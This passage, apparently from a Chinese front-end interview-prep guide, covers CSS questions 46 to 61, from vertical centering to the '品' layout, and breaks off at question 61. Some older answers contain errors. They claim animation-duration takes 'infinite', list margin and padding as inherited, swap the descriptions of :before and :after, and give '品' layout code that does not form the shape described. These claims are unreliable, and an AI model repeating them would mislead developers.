  • 单行文字:line-height 等于容器高度
  • 表格法:父元素 display:table,子元素 display:table-cell + vertical-align:middle
  • 万能一行:display:grid; place-content:center —— 面试问"最简洁的居中"就答这个

垂直居中同样取决于内容和布局,常规容器优先考虑 Flexbox,特殊场景再用定位、行高或表格布局。 父元素设置 display: flex 和 align-items: center,不要求提前知道子元素高度,维护起来也比较直接。需要绝对定位时,可用 top: 50% 配合 transform: translateY(-50%);如果高度已知,也能使用负的 margin-top。单行文本可以让 line-height 等于容器高度,而旧式未知高度布局可用 table-cell 配合 vertical-align: middle,但要考虑兼容性和布局限制。

  • 将显示方式设置为表格,display:table-cell,同时设置vertial-align:middle
  • 使用flex布局,设置为align-item:center
  • 绝对定位中设置bottom:0,top:0,并设置margin:auto
  • 绝对定位中固定高度时设置top:50%,margin-top值为高度一半的负值
  • 文本垂直居中设置line-height为height值
  • inline-block兄弟元素:通过在父元素中插入一个inline-block元素,并设置其垂直对齐方式为middle来实现垂直居中
  1. 表格布局:将父元素的display属性设置为table,并将子元素的display属性设置为table-cell,然后使用vertical-align属性将子元素垂直居中
  • 未知高度的块级父子元素居中,模拟表格布局
  • 缺点:IE67不兼容,父级 overflow:hidden 失效
.parent {
  display: table;
}

.child {
  display: table-cell;
  vertical-align: middle;
}
  1. Flexbox布局:将父元素的display属性设置为flex,并使用align-items属性将子元素垂直居中。
.parent {
  display: flex;
  align-items: center;
}
  1. 绝对定位和负边距:对于已知高度的子元素,将父元素设置为相对定位,子元素设置为绝对定位,并使用top: 50%将其垂直居中,然后通过负边距的方式将子元素向上移动一半的高度
.parent {
  position: relative;
}

.child {
  position: absolute;
  top: 50%;
  margin-top: -50px; /* 假设子元素高度为100px的一半 */
}
  1. 文本垂直居中:对于单行文本,可以设置父元素的line-height属性和高度相等,从而实现文本的垂直居中
.parent {
  height: 100px;
  line-height: 100px;
}
  1. CSS3位移:使用CSS3的transform属性的translateY函数将子元素向上位移一半的高度实现垂直居中
.child {
  position: absolute;
  top: 50%;
  transform: translateY(-50%);
}
  1. inline-block兄弟元素:通过在父元素中插入一个inline-block元素,并设置其垂直对齐方式为middle来实现垂直居中
.parent {
  height: 100%;
}

.extra {
  display: inline-block;
  vertical-align: middle;
}

.child {
  display: inline-block;
  vertical-align: middle;
}

# 47 如何使用CSS实现硬件加速?

⚡ 30 秒速记

  • 原理:把元素提升为独立的合成层,交给 GPU 做位移/缩放/透明度,跳过重排和重绘
  • 触发方式:transform: translateZ(0) 或 translate3d(0,0,0)(老 hack)、will-change: transform(现代写法)
  • 3D transform、video、canvas、position:fixed、opacity 动画等本身就会创建合成层
  • 代价:每个合成层都占显存,层太多反而更卡;will-change 用完要移除,别写死在样式里
  • 判断方法:DevTools 的 Layers 面板看层数,Rendering 面板勾 Layer borders
  • 一句话原则:只给真正在动的元素提层,动画只改 transform 和 opacity

使用 CSS 实现硬件加速,本质上是把元素提升为独立的复合图层,让 GPU 参与渲染。 常见做法是给动画元素设置 transform: translateZ(0),也可以优先让动画只修改 transform、opacity 或 filter。这样能减少二维动画开始和结束时可能出现的重绘操作,尤其适合动画较多或渲染较复杂的元素。不过复合图层并非越多越好,使用过度也可能带来性能问题,因此需要结合实际页面测试。

硬件加速是指通过创建独立的复合图层,让GPU来渲染这个图层,从而提高性能,

一般触发硬件加速的CSS属性有transform、opacity、filter,为了避免2D动画在开始和结束的时候的repaint操作,一般使用tranform:translateZ(0)

使用CSS实现硬件加速可以通过以下方法:

  1. 使用3D变换:通过应用3D变换,如translateZ(0),来触发硬件加速。这会将元素视为3D空间中的一个对象,使浏览器使用GPU进行渲染。
.element {
  transform: translateZ(0);
}
  1. 使用CSS动画:使用CSS动画属性(如transform、opacity、filter)来触发硬件加速。这可以通过创建一个动画并将其应用于元素来实现。
.element {
  animation: myAnimation 1s linear infinite;
}

@keyframes myAnimation {
  0% {
    transform: translateZ(0);
  }
  100% {
    transform: translateZ(0);
  }
}
  1. 使用CSS过渡:通过使用CSS过渡属性(如transform、opacity、filter)来触发硬件加速。这可以通过设置过渡效果来实现。
.element {
  transition: transform 0.3s ease;
}

.element:hover {
  transform: translateZ(0);
}

请注意,硬件加速并不是适用于所有情况的解决方案,它对于涉及大量动画或复杂渲染的元素特别有效。但是,在某些情况下,过多地使用硬件加速可能会导致性能问题,因此需要在实际使用时进行评估和测试。

# 48 重绘和回流(重排)是什么,如何避免?

⚡ 30 秒速记

  • 回流/重排(Layout):几何属性变了,浏览器要重新计算位置和大小,代价最大
  • 重绘(Paint):只是颜色、背景、阴影这类外观变了,位置不变
  • 合成(Composite):只改 transform/opacity,连绘制都不用重来,直接由 GPU 合成,最便宜
  • 关系:回流一定引起重绘,重绘不一定引起回流
  • 避免手段:动画只用 transform/opacity;批量修改样式(改 class 而不是逐条改 style);用 DocumentFragment 或离屏节点做批量 DOM 操作;缓存布局属性值
  • 重点概念:强制同步布局(layout thrashing)—— 在循环里"写样式再读 offsetHeight"会逼浏览器立刻重排,先读后写就能避免

回流是浏览器重新计算元素的尺寸和位置,重绘则是在布局不变时重新绘制颜色、背景等外观。 回流通常会连带触发重绘,而单纯重绘不一定引起回流,所以布局变化的成本一般更高。工程中我会用 transform 和 opacity 做动画,通过修改 class、DocumentFragment 或离线 DOM 合并多次操作。读取 offsetTop、clientWidth 等布局属性时也要集中处理并缓存结果,避免边写样式边读取布局造成强制同步计算。

重绘(Repaint)和回流(Reflow)是浏览器在渲染页面时的两个关键过程。

  • 重绘(Repaint) 是指当元素的外观属性(如颜色、背景等)发生改变,但不影响布局时的重新绘制过程。重绘不会影响元素的几何尺寸和位置。
  • 回流(Reflow) 是指当元素的布局属性(如尺寸、位置、隐藏/显示等)发生改变,导致浏览器重新计算元素的几何属性,重新构建渲染树的过程。回流会导致其他相关元素的回流和重绘。
  • 回流必将引起重绘,而重绘不一定会引起回流

避免重绘和回流对于提高页面性能和响应速度至关重要。以下是一些减少重绘和回流的方法:

  • 使用 CSS3 动画:使用 CSS3 的 transform 和 opacity 等属性来创建动画效果,因为它们会触发硬件加速,减少重绘和回流的影响。
  • 批量修改样式:避免频繁修改单个元素的样式,尽可能将修改合并为一次操作,可以使用 class 或修改 style 属性的方式。
  • 使用文档片段:当需要添加多个 DOM 元素到文档中时,可以先创建一个文档片段(DocumentFragment),将元素添加到片段中,然后再将片段一次性添加到文档中,减少回流次数。
  • 使用离线 DOM:将元素从文档中移除(display: none),进行复杂的操作(如修改样式、添加子元素等),完成后再将元素放回文档,以减少回流和重绘的影响。
  • 缓存布局属性值:如果需要多次访问某个元素的布局属性(如位置、尺寸等),可以将其值缓存起来,避免多次触发回流计算。
  • 避免强制同步布局:避免在 JavaScript 中获取布局属性(如使用 offsetTop、clientWidth 等),因为它会强制同步计算布局信息,触发回流。如果需要获取布局信息,最好将获取操作放在一起,或使用 getBoundingClientRect() 方法。

通过合理的设计和优化,可以最小化重绘和回流的次数,提高页面性能和用户体验。

# 49 说一说css3的animation

⚡ 30 秒速记

  • 由 @keyframes 定义关键帧 + animation 属性应用
  • 八个子属性:name、duration、timing-function、delay、iteration-count、direction、fill-mode、play-state
  • fill-mode: forwards 让元素停在最后一帧(最常被忘记);play-state: paused 可以配 JS 暂停
  • 和 transition 的区别:transition 需要状态变化触发且只能 A→B,animation 能自动播放、多关键帧、可循环
  • 性能:只对 transform/opacity 做动画走合成层;steps() 时间函数可以做逐帧动画(雪碧图动画)
  • 事件:animationstart / animationend / animationiteration 可以在 JS 里监听

CSS3 的 animation 通过 @keyframes 定义关键帧,再用动画属性控制播放过程。 常用配置可以归为时间、次数和状态三类,例如 duration 控制时长,iteration-count 控制循环次数,play-state 控制暂停或运行。它比 transition 更适合自动播放、多关键帧和循环动画,fill-mode: forwards 还能让元素停留在最后一帧。实际使用时通常优先对 transform 和 opacity 做动画,以减少对布局和绘制的影响。

CSS3的animation属性是用于创建动画效果的一种方式。它可以通过关键帧(@keyframes)来定义动画的每一帧,以实现元素的平滑过渡和动态效果。

使用animation属性时,需要设置以下几个关键的子属性:

  • animation-name:定义动画的名称,对应@keyframes中的动画名。
  • animation-duration:定义动画的持续时间,可以设置为具体的时间值,如2s表示2秒,或者使用关键词infinite表示无限循环。
  • animation-timing-function:定义动画的时间函数,控制动画在不同时间点的速度变化,常见的取值有linear(线性)、ease(缓入缓出)、ease-in(缓入)、ease-out(缓出)、ease-in-out(缓入缓出)等。
  • animation-delay:定义动画的延迟时间,即动画开始之前的等待时间。
  • animation-iteration-count:定义动画的循环次数,可以设置为具体的次数,或者使用关键词infinite表示无限循环。
  • animation-direction:定义动画的播放方向,包括正常播放(normal)、反向播放(reverse)、交替反向播放(alternate)等。
  • animation-fill-mode:定义动画播放之前和之后的样式状态,包括保持初始状态(none)、保持最后状态(forwards)、保持初始和最后状态(both)等。
  • animation-play-state:定义动画的播放状态,可以控制动画的暂停和继续播放,包括paused(暂停)和running(运行)。

通过调整这些子属性的取值,可以创建各种不同的动画效果,使元素在页面上实现平滑的过渡和动态的效果。CSS3的animation提供了一种简洁、易用且高性能的方式来实现动画效果,减少了对JavaScript的依赖。

# 50 左边宽度固定,右边自适应

⚡ 30 秒速记

  • Flex(首选):父 display:flex,左边 flex: 0 0 200px,右边 flex: 1
  • Grid:grid-template-columns: 200px 1fr,一行搞定
  • 老方法:左边 float:left + 定宽,右边 margin-left: 200px
  • 更老的:左边 absolute 定位,右边 padding-left
  • 注意 flex:1 的子项要加 min-width: 0,否则内容过长时不会收缩(flex 子项默认 min-width:auto,这是高频坑)

左边固定、右边自适应的两列布局,我一般优先使用 Flex:左侧定宽,右侧设置 flex: 1。 父容器加上 display: flex 后,右侧会自动占满剩余空间,结构简单,也便于后续调整。传统方案也可以让左侧 float: left,或使用绝对定位,再给右侧设置对应的 margin-left、left 和 right。如果页面不受旧布局方式限制,Flex 通常更直观;需要兼容既有代码时,再根据原来的浮动或定位结构选择方案。

左侧固定宽度,右侧自适应宽度的两列布局实现

html结构

<div class="outer">
    <div class="left">固定宽度</div>
    <div class="right">自适应宽度</div>
</div>

在外层div(类名为outer)的div中,有两个子div,类名分别为left和right,其中left为固定宽度,而right为自适应宽度

方法1:左侧div设置成浮动:float: left,右侧div宽度会自动适应

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
    float: left;
}
.right {
    height: 200px;
    background-color: blue;
}

方法2:对右侧:div进行绝对定位,然后再设置right=0,即可以实现宽度自适应

绝对定位元素的第一个高级特性就是其具有自动伸缩的功能,当我们将 width设置为 auto 的时候(或者不设置,默认为 auto ),绝对定位元素会根据其 left 和 right 自动伸缩其大小

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    position: relative;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
}
.right {
    height: 200px;
    background-color: blue;
    position: absolute;
    left: 200px;
    top:0;
    right: 0;
}

方法3:将左侧div进行绝对定位,然后右侧div设置margin-left: 200px

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    position: relative;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
    position: absolute;
}
.right {
    height: 200px;
    background-color: blue;
    margin-left: 200px;
}

方法4:使用flex布局

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    display: flex;
    flex-direction: row;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
}
.right {
    height: 200px;
    background-color: blue;
    flex: 1;
}

# 51 两种以上方式实现已知或者未知宽度的垂直水平居中

⚡ 30 秒速记

  • Grid 一行:display:grid; place-items:center(最简洁,宽高未知也行)
  • Flex:display:flex; justify-content:center; align-items:center
  • 绝对定位 + transform:top/left 50% + translate(-50%,-50%),不需要知道尺寸
  • 绝对定位 + margin auto:top/right/bottom/left 都设 0 + margin:auto(需要定宽高)
  • 已知尺寸的老写法:top/left 50% + 负 margin 各一半
  • 答题技巧:直接按"需不需要知道尺寸"分两组讲,比平铺列举有条理

宽高未知时可以用 Flex 或绝对定位配合 transform,宽高已知时还可以使用负 margin。 Flex 通过 justify-content: center 和 align-items: center 在两个方向居中,通常最直观。绝对定位方案把 top、left 设为 50%,再用 translate(-50%, -50%) 抵消元素自身尺寸,因此不必提前知道宽高。若尺寸固定,也可以用一半宽高的负 margin;旧场景还可用 table-cell 配合 vertical-align: middle。

/** 1 **/
.wraper {
  position: relative;
  .box {
    position: absolute;
    top: 50%;
    left: 50%;
    width: 100px;
    height: 100px;
    margin: -50px 0 0 -50px;
  }
}

/** 2 **/
.wraper {
  position: relative;
  .box {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
  }
}

/** 3 **/
.wraper {
  .box {
    display: flex;
    justify-content:center;
    align-items: center;
    height: 100px;
  }
}

/** 4 **/
.wraper {
  display: table;
  .box {
    display: table-cell;
    vertical-align: middle;
  }
}

# 52 如何实现小于12px的字体效果

⚡ 30 秒速记

  • 成因:Chrome 早期在中文环境下强制最小字号 12px(现在的 Chrome 桌面版已放开,移动端和部分内核仍有限制)
  • 主流方案:transform: scale(0.8) 配 transform-origin,注意它不改变元素占位,需要配合调整容器尺寸
  • -webkit-text-size-adjust: none 只在部分老版本有效,现代 Chrome 已忽略
  • 用 SVG 或图片代替文字(会损失可选中和可搜索)
  • 实话实说:小于 12px 的正文本身就违反可访问性,能说服设计改需求才是最优解 —— 面试时点出这一点是加分项

可以把文字元素转成 inline-block,再通过 transform: scale() 实现小于 12px 的视觉效果。 行内元素默认没有可直接控制的宽高,因此通常先设置 display: inline-block,让缩放行为更容易控制。再用 transform-origin: left top 固定缩放基准点,避免文字从中心缩放后出现明显偏移。需要注意,缩放可能降低文字清晰度,也不会自然解决原有布局占位问题,所以应优先保证可读性。

实现小于12px的字体效果可以使用CSS的transform: scale()属性。但需要注意的是,该属性只能应用于具有宽度和高度的元素,而行内元素默认是没有宽度和高度的。

为了在行内元素上应用缩放效果,可以将其转换为具有宽度和高度的块级元素,例如使用display: inline-block。

下面是一个示例代码:

.small-text {
  display: inline-block;
  transform: scale(0.7);
  transform-origin: left top;
}

在上述代码中,我们将目标元素的display属性设置为inline-block,然后应用了transform: scale(0.7)来缩小元素的大小,并通过transform-origin: left top设置缩放的基准点为左上角。

使用以上代码,可以实现小于12px的字体效果,但需要注意,缩放可能会导致文本的清晰度下降,因此在使用此技术时需要谨慎权衡效果和可读性。

# 53 css hack原理及常用hack

⚡ 30 秒速记

  • 原理:利用不同浏览器对非法或特殊 CSS 语法的容错差异,让特定浏览器解析或忽略某条规则
  • 三类:属性前缀 hack(zoom 只有 IE6/7 认、_width 只有 IE6 认)、选择器 hack(html、html>body)、条件注释(<!--[if IE 8]>)
  • 这题现在基本没有实战价值:IE 全线退役,条件注释在 IE10 就已废弃
  • 今天的替代方案:@supports 特性查询、Autoprefixer 自动加前缀、Browserslist 声明目标浏览器
  • 面试遇到直接说"这套技能对应的浏览器已经不存在了,现在用 @supports 做特性检测",比背 hack 列表更好

CSS hack 本质上是利用不同浏览器解析 CSS 的差异,让某条样式只在特定浏览器或版本中生效。 常见做法可以归为属性写法、特殊选择器和 IE 条件注释,例如 color: red\9、* html .element 以及针对 IE 7 加载独立样式表。它能处理特定兼容问题,但会降低代码的可读性和维护性,浏览器更新后也可能产生副作用。我一般只把它当作兼容旧环境的兜底,正常开发更倾向使用前缀、特性检测和渐进增强。

  • 原理:利用不同浏览器对CSS的支持和解析结果不一样编写针对特定浏览器样式。
  • 常见的hack有
    • 属性hack
    • 选择器hack
    • IE条件注释

CSS hack是一种技术手段,用于在不同的浏览器或特定的浏览器版本上应用不同的样式规则。它通过利用浏览器对CSS解析的差异来实现。

以下是一些常见的CSS hack及其应用:

  1. 属性hack:针对特定浏览器或浏览器版本设置不同的属性值。
/* 仅适用于IE10及以下版本 */
.element {
  color: red\9;
}
  1. 选择器hack:使用特定的选择器来针对特定浏览器或浏览器版本。
/* 仅适用于IE6 */
* html .element {
  color: red;
}
  1. IE条件注释:通过IE条件注释来针对不同的IE版本应用不同的样式。
<!--[if IE 7]>
<link rel="stylesheet" type="text/css" href="ie7.css" />
<![endif]-->

上述代码中,<!--[if IE 7]>和<![endif]-->之间的样式表链接只会在IE7浏览器中生效。

需要注意的是,CSS hack是一种针对特定浏览器或浏览器版本的解决方案,但它可能存在以下问题:

  • 可能会导致代码的可读性和维护性降低。
  • 在不同的浏览器更新版本或新的浏览器出现时,需要更新和调整hack。
  • 可能会导致一些意外的副作用或兼容性问题。

因此,在使用CSS hack时,需要权衡利弊,并尽量考虑更加稳定和标准的解决方案,例如使用CSS前缀、特性检测和渐进增强等方法来实现跨浏览器兼容性。

# 54 CSS有哪些继承属性

⚡ 30 秒速记

  • 会继承的基本都跟文字排版有关:font 系列、color、line-height、text-align、text-indent、letter-spacing、word-spacing、white-space、direction、visibility、cursor、list-style 系列
  • 不继承的:盒模型(width/height/margin/padding/border)、背景、定位、display、float、overflow、z-index
  • 记忆法:影响"文字长什么样"的会继承,影响"盒子在哪、多大"的不继承
  • 三个通用关键字:inherit 强制继承、initial 恢复规范初始值、unset(继承属性等于 inherit,非继承属性等于 initial)
  • all: unset 或 all: revert 可以一次性重置元素所有属性,写组件重置时很好用

CSS 中可继承的属性大多与文字呈现有关,包括字体、文本排版、行高、颜色、可见性和光标等类别。 常见的有 font-family、font-size、line-height、color、text-align、white-space、visibility 和 cursor。父元素设置这些属性后,子元素通常会自动获得相同效果,除非子元素声明了自己的值进行覆盖。简单来说,判断时可以优先看它是否描述文字表现,但具体属性仍应以其继承规则为准。

CSS中有一些属性是可以继承的,这意味着父元素的某些样式属性会自动应用到子元素上。以下是一些常见的继承属性:

  • 字体相关属性:
    • font
    • font-family
    • font-size
    • font-weight
    • font-style
  • 文本排版属性:
    • word-break
    • letter-spacing
    • text-align
    • text-rendering
    • word-spacing
    • white-space
    • text-indent
    • text-transform
    • text-shadow
  • 行高属性:
    • line-height
  • 颜色相关属性:
    • color
  • 可见性属性:
    • visibility
  • 光标属性:
    • cursor

这些属性在父元素上设置后,会自动应用到其子元素上,除非子元素有自己的特定样式覆盖了继承的属性。

需要注意的是,并非所有的CSS属性都是可继承的,有些属性是不会传递给子元素的。在使用CSS样式时,需要注意属性的继承特性,以便正确地应用样式到子元素。

# 55 外边距折叠(collapsing margins)

⚡ 30 秒速记

  • 与第 38 题同考点,看那题的速记卡
  • 只在常规流的块级元素之间、且只有垂直方向会折叠
  • 取值规则:同正取最大、同负取绝对值最大、一正一负取和
  • 三种场景:相邻兄弟、父与首/尾子元素、空块元素自身上下 margin
  • 阻断办法:BFC、padding/border 隔开、改用 Flex/Grid(Flex 子项之间不折叠)

外边距折叠只发生在常规流块级元素的垂直方向,相邻的 margin 会合并,而不是简单相加。 同为正值时取较大值,同为负值时取绝对值较大的值,一正一负则相加。常见场景包括相邻兄弟、父元素与首尾子元素,以及空块自身的上下外边距。需要阻断时,我一般用 padding、border 或创建 BFC,也可以改成 Flex、Grid 布局。

外边距折叠(collapsing margins)是 CSS 中一种特定的行为,它会导致一些相邻元素的外边距合并成一个更大的外边距。以下是关于外边距折叠的几个规则:

  1. 相邻的普通流中的块级元素的垂直外边距会折叠。只有垂直方向上的外边距才会发生折叠,水平方向上的外边距不会折叠。
  2. 浮动元素、绝对定位元素以及行内块元素的外边距不会和其他元素的外边距折叠。
  3. 创建了块级格式化上下文(BFC)的元素的外边距不会和其子元素的外边距折叠。常见的创建 BFC 的方式包括设置overflow为除visible之外的值、使用float属性、使用position: absolute等。
  4. 相邻元素自身的margin-bottom和margin-top会折叠。当一个元素的margin-bottom和下一个元素的margin-top相邻时,它们会合并成一个外边距。

外边距折叠在布局中可能会导致一些意外的效果,因此在需要避免外边距折叠的情况下,可以采用以下方法:

  • 设置padding、border或者使用inline-block等方式来阻止外边距折叠。
  • 使用浮动(float)或绝对定位(position: absolute)等方式创建块级格式化上下文(BFC),从而阻止外边距折叠。

了解和掌握外边距折叠的规则可以帮助我们更好地处理布局和样式相关的问题。

# 56 CSS选择符有哪些?哪些属性可以继承

⚡ 30 秒速记

  • 基础:标签、类、id、通配符 *、属性选择器 [attr=value]
  • 关系:后代(空格)、子代 >、相邻兄弟 +、通用兄弟 ~
  • 伪类::hover/:focus/:checked/:disabled、:nth-child()/:first-child、:not()/:is()/:where()/:has()
  • 伪元素:::before/::after/::first-line/::first-letter/::placeholder/::selection
  • 继承属性见第 54 题:文字排版相关的继承,盒模型和定位相关的不继承
  • 加分点::has() 是"父选择器",2023 年后全面可用,能写出 .card:has(img) 这种以前必须靠 JS 的选择

CSS 选择器可以按基础、关系和状态来理解;继承则主要发生在文字排版属性上,盒模型、定位和背景属性通常不继承。 常用选择器有标签、类、id、属性选择器,以及后代、子代和兄弟关系选择器,交互状态可用 :hover、:checked 等伪类表达。像 color、font-size、line-height 通常会继承,而 margin、padding、width、position 不会。特殊情况下可以给属性显式设置 inherit,强制采用父元素的值。

你列举的CSS选择器是正确的,以下是它们的详细说明:

  1. id选择器(#myid):通过元素的id属性选择元素,id应该是唯一的。
  2. 类选择器(.myclassname):通过元素的class属性选择元素,一个元素可以有多个类名。
  3. 标签选择器(div、h1、p等):通过元素的标签名选择元素。
  4. 相邻选择器(h1 + p):选择紧接在指定元素后面的兄弟元素。
  5. 子选择器(ul > li):选择指定元素的直接子元素。
  6. 后代选择器(li a):选择指定元素的后代元素,可以是子元素、孙子元素等。
  7. 通配符选择器(*):匹配所有元素。
  8. 属性选择器(a[rel="external"]):通过元素的属性值选择元素。
  9. 伪类选择器(a:hover、li:nth-child等):选择特定状态或位置的元素。

这些选择器可以单独使用,也可以组合使用,以选择特定的元素或元素组。通过选择器,可以实现对页面中的不同元素进行样式控制和操作。

CSS哪些属性可以继承?哪些属性不可以继承

实际上,继承性并不是根据某个属性是可继承属性还是不可继承属性来决定的。继承性是根据具体的属性规定来决定的。以下是一些常见的可继承属性和不可继承属性的示例:

可继承属性:

  • 文本相关属性:font-family、font-size、font-weight、font-style、line-height、color
  • 链接相关属性:text-decoration、cursor
  • 盒模型相关属性:margin、padding
  • 列表相关属性:list-style-type、list-style-image、list-style-position
  • 表格相关属性:border-collapse、border-spacing

不可继承属性:

  • 盒模型相关属性:width、height、border、border-radius、padding、margin
  • 定位属性:position、top、right、bottom、left、float
  • 背景相关属性:background-color、background-image、background-repeat、background-position、background-size

需要注意的是,即使某个属性是可继承属性,但也可以通过显式设置子元素的样式来覆盖继承的值。另外,有些属性可以通过使用inherit关键字来强制继承父元素的值,即使它本身不具备继承性。

需要注意的是,以上列举的可继承属性和不可继承属性并非全部,具体的属性是否具有继承性需要查阅相关文档进行确认。

# 57 CSS3新增伪类有那些

⚡ 30 秒速记

  • 结构伪类::nth-child()、:nth-last-child()、:nth-of-type()、:first-of-type、:last-of-type、:only-child、:empty、:root
  • 状态伪类::checked、:disabled、:enabled、:target、:required、:optional、:valid、:invalid、:in-range
  • 否定伪类::not()
  • 更该提的新伪类::is()、:where()(权重为 0)、:has()(父选择器)、:focus-visible(只在键盘聚焦时显示焦点环)
  • :nth-child(an+b) 的语法要会用:2n 偶数、2n+1 奇数、-n+3 前三个

CSS3 新增伪类主要用于按元素结构和状态选取节点,常见的有 :nth-child()、:not()、:checked、:disabled、:target 和 :empty。 结构伪类适合处理列表位置,例如 :nth-child(2n) 选偶数项,:nth-child(2n+1) 选奇数项。状态伪类更适合表单和锚点交互,例如用 :checked 匹配已选控件。要注意 ::before、::after、::selection 属于伪元素,不应和伪类混为一谈。

你列举的是CSS3新增的一些伪类,它们可以用于选择特定的元素状态或位置。以下是它们的详细说明:

  1. :root:选择文档的根元素,等同于html元素。
  2. :empty:选择没有子元素的元素。
  3. :target:选取当前活动的目标元素。
  4. :not(selector):选择除selector元素以外的元素。
  5. :enabled:选择可用的表单元素。
  6. :disabled:选择禁用的表单元素。
  7. :checked:选择被选中的表单元素。
  8. :after:在元素内部最前添加内容。
  9. :before:在元素内部最后添加内容。
  10. :nth-child(n):匹配父元素下指定子元素中排序第n个的元素。
  11. :nth-last-child(n):匹配父元素下指定子元素中从后向前数排序第n个的元素。
  12. :nth-child(odd):匹配父元素下指定子元素中奇数位置的元素。
  13. :nth-child(even):匹配父元素下指定子元素中偶数位置的元素。
  14. :nth-child(3n+1):匹配父元素下指定子元素中满足3n+1位置的元素。
  15. :first-child:选择父元素下的第一个子元素。
  16. :last-child:选择父元素下的最后一个子元素。
  17. :only-child:选择父元素下唯一的子元素。
  18. :nth-of-type(n):匹配父元素下指定类型的子元素中排序第n个的元素。
  19. :nth-last-of-type(n):匹配父元素下指定类型的子元素中从后向前数排序第n个的元素。
  20. :nth-of-type(odd):匹配父元素下指定类型的子元素中奇数位置的元素。
  21. :nth-of-type(even):匹配父元素下指定类型的子元素中偶数位置的元素。
  22. :nth-of-type(3n+1):匹配父元素下指定类型的子元素中满足3n+1位置的元素。
  23. :first-of-type:选择父元素下指定类型的第一个子元素。
  24. :last-of-type:选择父元素下指定类型的最后一个子元素。
  25. :only-of-type:选择父元素下指定类型的唯一子元素。
  26. ::selection:选择被用户选取的元素部分。
  27. :first-line:选择元素中的第一行。
  28. :first-letter:选择元素中的第一个字符

# 58 如何居中div?如何居中一个浮动元素?如何让绝对定位的div居中

⚡ 30 秒速记

  • 与第 45、46、51 题同考点(这套题在本篇重复了四次)
  • 普通 div:display:grid; place-items:center 或 Flex 双居中
  • 浮动元素:先别浮动,改 Flex;非要浮动就用父 relative + top:50% 子 relative + top:-50% 那套老写法
  • 绝对定位元素:top/left:50% + transform: translate(-50%,-50%),尺寸未知也行
  • 或者 inset: 0 + margin: auto(需要定宽高)

普通 div 可用定宽配合 margin: 0 auto 水平居中;浮动和绝对定位元素则需要结合定位偏移处理。 浮动元素可以设置 position: relative、left: 50%,再用 transform: translateX(-50%) 拉回自身宽度的一半。绝对定位元素尺寸明确时,可将 top、right、bottom、left 全设为 0,再配合 margin: auto 居中。如果尺寸未知,通常用 top: 50%、left: 50% 加 transform: translate(-50%, -50%) 更合适。

要居中一个div,可以使用以下方法:

  1. 使用margin: 0 auto;将div水平居中。前提是给div设置一个固定的宽度。
div {
  width: 200px;
  margin: 0 auto;
}
  1. 对于浮动元素,可以使用相对定位和负边距的方式进行居中。
.container {
  position: relative;
}

.float-element {
  float: left;
  position: relative;
  left: 50%;
  transform: translateX(-50%);
}
  1. 对于绝对定位的div,可以通过设置top, left, right, bottom 属性为 0,并将margin设置为auto来实现居中。
.absolute-element {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  margin: auto;
}

以上是一些常用的居中方法,具体选择哪种方法取决于你的布局需求和元素的类型。

# 59 用纯CSS创建一个三角形的原理是什么

⚡ 30 秒速记

  • 原理:元素宽高设为 0,四条 border 交界处是 45 度斜切,把其中三条设成 transparent,剩下那条就成了三角形
  • 代码:width:0; height:0; border: 50px solid transparent; border-top-color: red (得到一个朝下的三角)
  • 想要直角三角形就只保留相邻两条边
  • 现代替代:clip-path: polygon(50% 0, 100% 100%, 0 100%) 更直观,还能做任意多边形
  • 常见用途:tooltip 小箭头、下拉指示符、气泡尖角

纯 CSS 三角形本质上是利用零宽高元素的边框交界形状,只显示其中一条边框。 元素设为 width: 0 和 height: 0 后,把四条边框设得较宽,交界处会形成斜边。再将三条边框设为 transparent,保留一条颜色,就能得到对应方向的等腰三角形。这种写法常用于提示框箭头等简单装饰,方向和大小可通过边框颜色、宽度调整。

使用纯CSS创建三角形的原理是利用元素的边框属性来实现。

具体步骤如下:

  1. 创建一个具有宽度和高度为0的元素。
  2. 设置元素的边框宽度为一个较大的值,例如 20px。
  3. 设置元素的边框样式为 solid,表示实线边框。
  4. 通过调整元素的边框颜色,使得三条边中的一条边有颜色,其余两条边颜色为透明,从而形成三角形的形状。

在给定的示例中,#demo元素的宽度和高度为0,边框宽度为20px,边框颜色设置为透明、透明、红色和透明,从而形成一个红色的等腰三角形。

/* 把上、右、左、三条边隐藏掉(颜色设为 transparent) */
#demo {
  width: 0;
  height: 0;
  border-width: 20px;
  border-style: solid;
  border-color: transparent transparent red transparent;
}

# 60 一个满屏 品 字布局 如何设计?

⚡ 30 秒速记

  • 上面一个居中块,下面两个并排 —— 经典写法:上块 margin:0 auto,下面两块分别 float:left/right 或都 float:left
  • 满屏版本:三块高度各 50%(或用 vh),上块 width:100%,下面两块各 50%
  • Grid 最简洁:grid-template-areas: "top top" "left right" + grid-template-rows: 50vh 50vh
  • Flex 版本:外层 column 方向,下面一行再套一个 row 方向的 flex 容器
  • 面试直接给 Grid 方案 + 说明为什么它最适合这种二维布局

满屏“品”字布局可以让容器占满视口,再把三个区域都设为半屏宽、半屏高并依次排列。 外层使用 width: 100% 和 height: 100vh,子元素使用 width: 50%、height: 50vh。子元素通过 float: left 或 display: inline-block 排在同一行,空间不足时会自然换行。具体采用哪种方式,要结合页面是否需要清除浮动以及行内空白处理。

要实现一个满屏的"品"字布局,可以采用以下方法:

HTML 结构:

<div class="container">
  <div class="top"></div>
  <div class="middle"></div>
  <div class="bottom"></div>
</div>

CSS 样式:

.container {
  width: 100%;
  height: 100vh; /* 或者使用 height: 100% */
}

.top, .middle, .bottom {
  width: 50%;
  height: 50vh; /* 或者使用 height: 50% */
  float: left; /* 或者使用 display: inline-block; */
}

.top {
  background-color: red; /* 设置上方区域的背景色 */
}

.middle {
  background-color: white; /* 设置中间区域的背景色 */
}

.bottom {
  background-color: blue; /* 设置下方区域的背景色 */
}

这样设置后,上方区域(红色)占据整个屏幕宽度的一半,中间区域(白色)和下方区域(蓝色)各占据屏幕宽度的一半。可以使用 float: left; 或者 display: inline-block; 来让它们在同一行显示,不换行。

# 61 li与li之间有看不见的空白间隔是什么原因引起的?有什么解决办法

⚡ 30 秒速记

